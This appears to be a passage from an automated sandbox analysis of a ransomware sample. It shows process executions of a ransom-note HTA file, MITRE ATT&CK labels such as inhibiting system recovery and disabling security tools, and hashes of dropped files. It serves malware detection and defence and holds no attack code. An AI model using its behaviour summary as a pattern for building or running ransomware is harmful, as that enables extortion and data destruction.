  "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\readme-warning.hta"
  2⤵
  - Modifies Internet Explorer settings
  PID:3832
- C:\Windows\SysWOW64\mshta.exe
  "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\readme-warning.hta"
  2⤵
  - Modifies Internet Explorer settings
  PID:3848
- C:\Windows\SysWOW64\mshta.exe
  "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\readme-warning.hta"
  2⤵
  - Modifies Internet Explorer settings
  PID:4000
- C:\Windows\SysWOW64\mshta.exe
  "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\readme-warning.hta"
  2⤵
  - Modifies Internet Explorer settings
  PID:4084

C:\Windows\explorer.exe
"C:\Windows\explorer.exe"
1⤵
PID:1084

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x54c
1⤵
PID:976

C:\Windows\System32\NOTEPAD.EXE
"C:\Windows\System32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\is64.bat
1⤵
- Opens file in notepad (likely ransom note)
- Suspicious use of FindShellTrayWindow
PID:3516

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Disabling Security Tools

File Deletion

Impair Defenses

Modify Registry

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

T1491

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\is64.bat

Filesize
181B

MD5
225edee1d46e0a80610db26b275d72fb

SHA1
ce206abf11aaf19278b72f5021cc64b1b427b7e8

SHA256
e1befb57d724c9dc760cf42d7e0609212b22faeb2dc0c3ffe2fbd7134ff69559

SHA512
4f01a2a248a1322cb690b7395b818d2780e46f4884e59f1ab96125d642b6358eea97c7fad6023ef17209b218daa9c88d15ea2b92f124ecb8434c0c7b4a710504

Download Submit
C:\Users\Admin\AppData\Local\Temp\is64.fil

Filesize
32B

MD5
d406619e40f52369e12ae4671b16a11a

SHA1
9c5748148612b1eefaacf368fbf5dbcaa8dea6d0

SHA256
2e340d2b9ced6ad419c031400fb974feed427cfabd0c167dea26ec732d8579be

SHA512
4d9792a6427e4a48553318b4c2bac19ff729a9c0a635bc9196c33d2be5d1a224d1bac30da5f881bad6340b0235894ff020f32061a64125629848e21c879c5264

Download Submit
C:\Users\Admin\AppData\Local\Temp\is64.txt

Filesize
3B

MD5
a5ea0ad9260b1550a14cc58d2c39b03d

SHA1
f0aedf295071ed34ab8c6a7692223d22b6a19841

SHA256
f1b2f662800122bed0ff255693df89c4487fbdcf453d3524a42d4ec20c3d9c04

SHA512
7c735c613ece191801114785c1ee26a0485cbf1e8ee2c3b85ba1ad290ef75eec9fede5e1a5dc26d504701f3542e6b6457818f4c1d62448d0db40d5f35c357d74

Download Submit
C:\Users\Admin\AppData\Local\Temp\lsm.exe

Filesize
75KB

MD5
7065c6c8efb58c65cbf97d1139fb3998

SHA1
419e901005e12fbb7f6bbbf59e1802df4db56eb2

SHA256
73b4ab2ae70beb4637920f181ba3f175374209178c86465ca92d333f034ae960

SHA512
1f6883dae0d8f5d6877be5dc30f842bc8d7e1e69cbd45d723c0de3841b30ae042b4962c2b15b1b4c7f0eaf834374a6458d14f385a7934621a104157e91bea1bd

Download Submit
C:\Users\Admin\AppData\Local\Temp\lsm.exe

Filesize
75KB

MD5
7065c6c8efb58c65cbf97d1139fb3998

SHA1
419e901005e12fbb7f6bbbf59e1802df4db56eb2

SHA256
73b4ab2ae70beb4637920f181ba3f175374209178c86465ca92d333f034ae960

SHA512
1f6883dae0d8f5d6877be5dc30f842bc8d7e1e69cbd45d723c0de3841b30ae042b4962c2b15b1b4c7f0eaf834374a6458d14f385a7934621a104157e91bea1bd

Download Submit
C:\Users\Admin\AppData\Local\Temp\readme-warning.hta

Filesize
89KB

MD5
37d55dba7a6114449a2453a5e5357c04

SHA1
34ea79d82409c679e8a5c32f5c469844dd2488d7

SHA256
52003dbfea65f568115dfad09aa0402df57d488ca7f9eb23c7334a51c11deb9f

SHA512
d493512c768e9412047e2ece774a670f636d9b380b63b617f8516eac6ed0de219e0daebc196549fafcd756cab1d44b87dd8cd6ddae712f529295ce9794c0a75e

Download Submit
C:\Users\Admin\AppData\Local\Temp\readme-warning.hta

Filesize
89KB

MD5
37d55dba7a6114449a2453a5e5357c04

SHA1
34ea79d82409c679e8a5c32f5c469844dd2488d7

SHA256
52003dbfea65f568115dfad09aa0402df57d488ca7f9eb23c7334a51c11deb9f

SHA512
d493512c768e9412047e2ece774a670f636d9b380b63b617f8516eac6ed0de219e0daebc196549fafcd756cab1d44b87dd8cd6ddae712f529295ce9794c0a75e

Download Submit
C:\Users\Admin\AppData\Local\Temp\readme-warning.hta

Filesize
89KB

MD5
37d55dba7a6114449a2453a5e5357c04

SHA1
34ea79d82409c679e8a5c32f5c469844dd2488d7

SHA256
52003dbfea65f568115dfad09aa0402df57d488ca7f9eb23c7334a51c11deb9f

SHA512
d493512c768e9412047e2ece774a670f636d9b380b63b617f8516eac6ed0de219e0daebc196549fafcd756cab1d44b87dd8cd6ddae712f529295ce9794c0a75e

Download Submit
\Users\Admin\AppData\Local\Temp\lsm.exe

Filesize
75KB

MD5
7065c6c8efb58c65cbf97d1139fb3998

SHA1
419e901005e12fbb7f6bbbf59e1802df4db56eb2

SHA256
73b4ab2ae70beb4637920f181ba3f175374209178c86465ca92d333f034ae960

SHA512
1f6883dae0d8f5d6877be5dc30f842bc8d7e1e69cbd45d723c0de3841b30ae042b4962c2b15b1b4c7f0eaf834374a6458d14f385a7934621a104157e91bea1bd

Download Submit
\Users\Admin\AppData\Local\Temp\lsm.exe

Filesize
75KB

MD5
7065c6c8efb58c65cbf97d1139fb3998

SHA1
419e901005e12fbb7f6bbbf59e1802df4db56eb2

SHA256
73b4ab2ae70beb4637920f181ba3f175374209178c86465ca92d333f034ae960

SHA512
1f6883dae0d8f5d6877be5dc30f842bc8d7e1e69cbd45d723c0de3841b30ae042b4962c2b15b1b4c7f0eaf834374a6458d14f385a7934621a104157e91bea1bd

Download Submit
memory/340-54-0x0000000000DA0000-0x0000000000DFA000-memory.dmp

Filesize
360KB

Download
memory/340-56-0x0000000075771000-0x0000000075773000-memory.dmp

Filesize
8KB

Download
memory/340-55-0x0000000000210000-0x000000000023E000-memory.dmp

Filesize
184KB

Download
memory/1084-156-0x000007FEFB6A1000-0x000007FEFB6A3000-memory.dmp

Filesize
8KB

Download
memory/1660-67-0x000000006F2A0000-0x000000006F84B000-memory.dmp

Filesize
5.7MB

Download
memory/1660-66-0x000000006F2A0000-0x000000006F84B000-memory.dmp

Filesize
5.7MB

Download